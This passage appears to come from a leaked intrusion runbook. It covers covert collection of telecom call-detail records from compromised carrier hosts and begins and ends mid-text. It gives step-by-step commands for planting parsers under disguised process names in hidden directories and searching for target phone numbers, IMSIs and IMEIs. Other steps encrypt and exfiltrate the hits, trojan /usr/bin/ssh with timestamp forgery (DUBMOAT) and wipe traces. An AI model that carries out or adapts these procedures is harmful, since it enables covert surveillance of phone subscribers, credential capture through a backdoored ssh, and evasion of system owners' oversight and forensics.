+cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehydrant commands. + +### Typical file locations per host: + +### Just check to see if files been removed +-lt /root +-vget /root/.sh_history + +########################## liquidsteel: +### fc: 192.168.100.10 +ls /share/a1338/ne_q3ic/nb/convert/output | wc -l +ls /share/a1338/ne_q3ic/nb/convert/output | head -10 +ls /share/a1338/ne_q3ic/nb/convert/output | tail -10 +-ls /share/a1338/ne_q3ic/nb/convert/output/*dF* + +########################## sicklestar: +### about two weeks worth are kept in this directory: +### CDRCOL1: 10.211.4.1 +### CDRCOL2: (if not on CDRCOL1) 10.211.4.2 +ls /share/a1338/ne_q3ic/nb/convert/output | wc -l +ls /share/a1338/ne_q3ic/nb/convert/output | head -10 +ls /share/a1338/ne_q3ic/nb/convert/output | tail -10 +-ls /share/a1338/ne_q3ic/nb/convert/output/*dF* + +### this is where they are backed up - this could be huge +ls /share/a1338/ne_q3ic/nb/convert/backup | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad1 | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad/sulaman | wc -l + +########################## CURSEHYDRANT ###################################################### +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### Tips for running the CURSEHYDRANT 4.2.1 + +### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! +### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional +### passes are needed for the date range +### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption) +### By default, the new CH expects a cryptokey: +### to run in the clear, take out the -k KEY, add -w, replace -P with -p +### The phone list is deleted automatically now + + +### Suggested -z options: +### this looks in subdirs, so use caution in backup dir (can be good AND bad): +### Also circumvents "parameter list too long" problem with wildcards with 'ls' + -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print" + +### works, but only for smaller ranges (command line arglist gets long) + -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*" + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +######## Upload the parser (CURSEHYDRANT) and called it lvmkd +# put up the parser tool +-put /current/up/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + + # or + +-put /mnt/zip/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + +##### Upload the encrypted phone list as nfskd, then run the parser: + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[3456]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1.more +-beep 15 + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[89]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[67]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2.more +-beep 15 + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[345]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3.more +#-beep 15 + +###### +###### to run parser in the clear (unencrypted): +###### + +#-put /current/down/argfiles/argfile1.txt nfskd +#export ENV_ARGS='-w -z "find /share/a1338/ne_q3ic/nb/convert/output -name '060501*dF*' -print" -p ./nfskd'; ./lvmkd >T:/current/down/cdrhits.test +#-beep 15 + +###### +###### to completely parse a range of files (no encryption & no particular number to search): +###### +#export ENV_ARGS='-o -w -d -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"; ./lvmkd >T:/current/down/cdr.morenumbers + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +export ENV_ARGS='-x -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +export ENV_ARGS='-y -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc1 -o cdrhits.cursehydrant.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc2 -o cdrhits.cursehydrant.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep lvmkd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +####### HP-UX (DO NOT BURN! DO NOT BURN! DO NOT BURN!) +-gs wearcup + +####### Everything else... +-rm lvmkd nfskd +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +##### Either -burn off or if the target is HPUX, use -exit and let -wearcup do the cleanup + +### +### END File user.tool.cursehydrant.COMMON +### (see also ../etc/user.tool.cursehydrant.COMMON) + +### +### BEGIN File user.tool.dubmoat.COMMON (see also ../etc/user.tool.dubmoat.COMMON) +### + +########################################## +# DUBMOAT +########################################## + +### Verify version on target: +uname -a +which ssh +ssh -V + +### Preserve timestamps: +-ls -i /usr/bin/ssh +-ls -d /usr/bin + +touch -r /usr/bin/ssh /tmp/.st +touch -r /usr/bin /tmp/.sb +-lt + +### Create location (utmp~) for dubmoat logging: +-ls -t /var/run +cp /var/run/utmp /var/run/utmp~ + +### fix permisssions so any user can write to the file: +chmod 666 /var/run/utmp~ + +### Download original ssh: +-get /usr/bin/ssh + +### Upload dubmoat and check the version: +-put /current/up/Ssh ssh +./ssh -V + +### Cat our version over original to preserve inode: +cat /tmp/ssh > /usr/bin/ssh +-ls -i /usr/bin/ssh + +/usr/bin/ssh -V +file /usr/bin/ssh + + +### Fix timestamps: + +touch -r /var/run/utmp /var/run/utmp~ +touch -r /var/run/utmp /var/run + +touch -r /tmp/.st /usr/bin/ssh +touch -r /tmp/.sb /usr/bin + +-ls -i /usr/bin/ssh +-ls -d /usr/bin/. + +### Cleanup: + +-rm .st .sb ssh + + + + + + +############################ +# DUBMOAT COLLECTION +############################ + +-ls /var/adm/utmp* + +-get -l /var/adm/utmp~ + + +### Locally, extract the data from the encrypted file: + +cd /current/down +/current/bin/ExtractData ./utmp > dub.TARGETNAME + +### Verify the contents and take note of the file size field near +### the beginning of the output. Use that size to truncate the file +### in the next step: + +cat dub.TARGETNAME + + +### Upload the tool used to truncate the dubmoat collection file + + +-put /current/bin/TruncateFileRemote dmt +chmod 700 dmt + + +### Using the first "FILE SIZE" field from the output above, +### truncate the most recent collection out of the file +-lt /var/adm/utmp~ +./dmt /var/adm/utmp~ +-lt /var/adm/utmp~ + +-rm dmt + + + + +### +### END File user.tool.dubmoat.COMMON +### (see also ../etc/user.tool.dubmoat.COMMON) + +### +### BEGIN File user.tool.cursehappy.COMMON (see also ../etc/user.tool.cursehappy.COMMON) +### + +################ CURSEHAPPY ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehappy commands. + +### Typical file locations per host: + +########################## wholeblue: +# tpmw01 10.3.4.55 +# tpmw02 10.3.4.56 + +### verifies isb, khi, and lhr directories: +ls -ld /tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +### shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + + +# isbapro1 10.5.7.51 +# nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +# newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +# old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +########################## editionhaze: + +ls -latr /u06/saba/CDR/out/MS* | head -10 +ls -latr /u06/saba/CDR/out/MS* | tail -10 +ls -latr /u06/saba/CDR/out/MS* | wc -l + +########################## liquidsteel: + +########################## sicklestar: + +### magnum: CURSEHAPPY not working on all SS .usd files :-( +### Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +### If none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + +########################## CURSEHAPPY ######################################################## +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### encrypt the def files + +for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done + +ls -l +file /current/up/cursedefs/*.enc + +### encrypt the def files + + + +### Tips for running the CURSEHAPPY 4.0 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption) + ### The phone list is NOT deleted automatically in v3.2 + ### remove it between each run as a practice + +### Useful options: +-n name of text file containing phone numbers +-files list of files to parse (can contain wildcards) optional - same as no option +-d output optional fields +-all all record output (no search performed) +-loglevel [#] level of info emitted via stderr:0,1,2,3 +-def definition file (required) +-lb leave behind mode + Upload the parser (CURSEHAPPY) and called it crond +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/cursehappy4 crond + +##### Upload the encrypted phone list as adm, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc adm +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2 +-beep 15 + + +### Run again if needed for same tasking +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more +-beep 15 + + +############ argfile 3 + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc adm +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more +-beep 15 + + +############# +############# for loglevel testing (local file should be ascii?) +############# + +-put /current/up/cursedefs/PROJECTNAME.enc adm~ +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -def ./adm~ -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test +-beep 15 + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm crond adm adm~ +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + +### +### END File user.tool.cursehappy.COMMON +### (see also ../etc/user.tool.cursehappy.COMMON) + +### +### BEGIN File user.tool.orleansstride.COMMON (see also ../etc/user.tool.orleansstride.COMMON) +### + +################ ORLEANSSTRIDE ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.orleansstride.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# if searching for LACs and cell id's, use the format in the documentation: +# ex. - 410 01 95 18374 +# if searching for phone numbers, use the normal format: +# ex. - 4837506 + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + +### For ORLEANSSTRIDE, the numbers must be in sorted order...the following loop +### will put all of the files in sorted order + +cd /current/down/argfiles +for i in argfile*.txt; do sort -u -o `basename $i .txt`.sorted; done + + +### Make sure find the cryptTool...add to PATH if which fails... +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### To encrypt one at a time... +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.sorted -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.sorted -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### Loop to encrypt all the argfiles +cd /current/down/argfiles +for i in argfile*.sorted; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .sorted`.enc -k CRYPTKEY -b + +file argfile*.enc + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the orleansstride commands. + +### Typical file locations per host: + +########################## sicklestar: +# magnum 10.140.0.68 + +ls -lart /archive/cdrc/*mob | head -10 +ls -lart /archive/cdrc/*mob | tail -10 +ls -lart /archive/cdrc/input/DONE/*mob | head -10 +ls -lart /archive/cdrc/input/DONE/*mob | tail -10 + +### Tips for running the ORLEANSSTRIDE 1.0 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### The phone list is deleted automatically + + +######## Upload the parser (ORLEANSSTRIDE) and call it nscd +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/up/orleansstride.v1.0.SunOS5.8.targetsl nscd + + +##### Upload the encrypted phone list as awk, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2.more +-beep 15 + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3.more +-beep 15 + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -x +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -y +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc1 -o cdrhits.orleansstride.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc2 -o cdrhits.orleansstride.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls 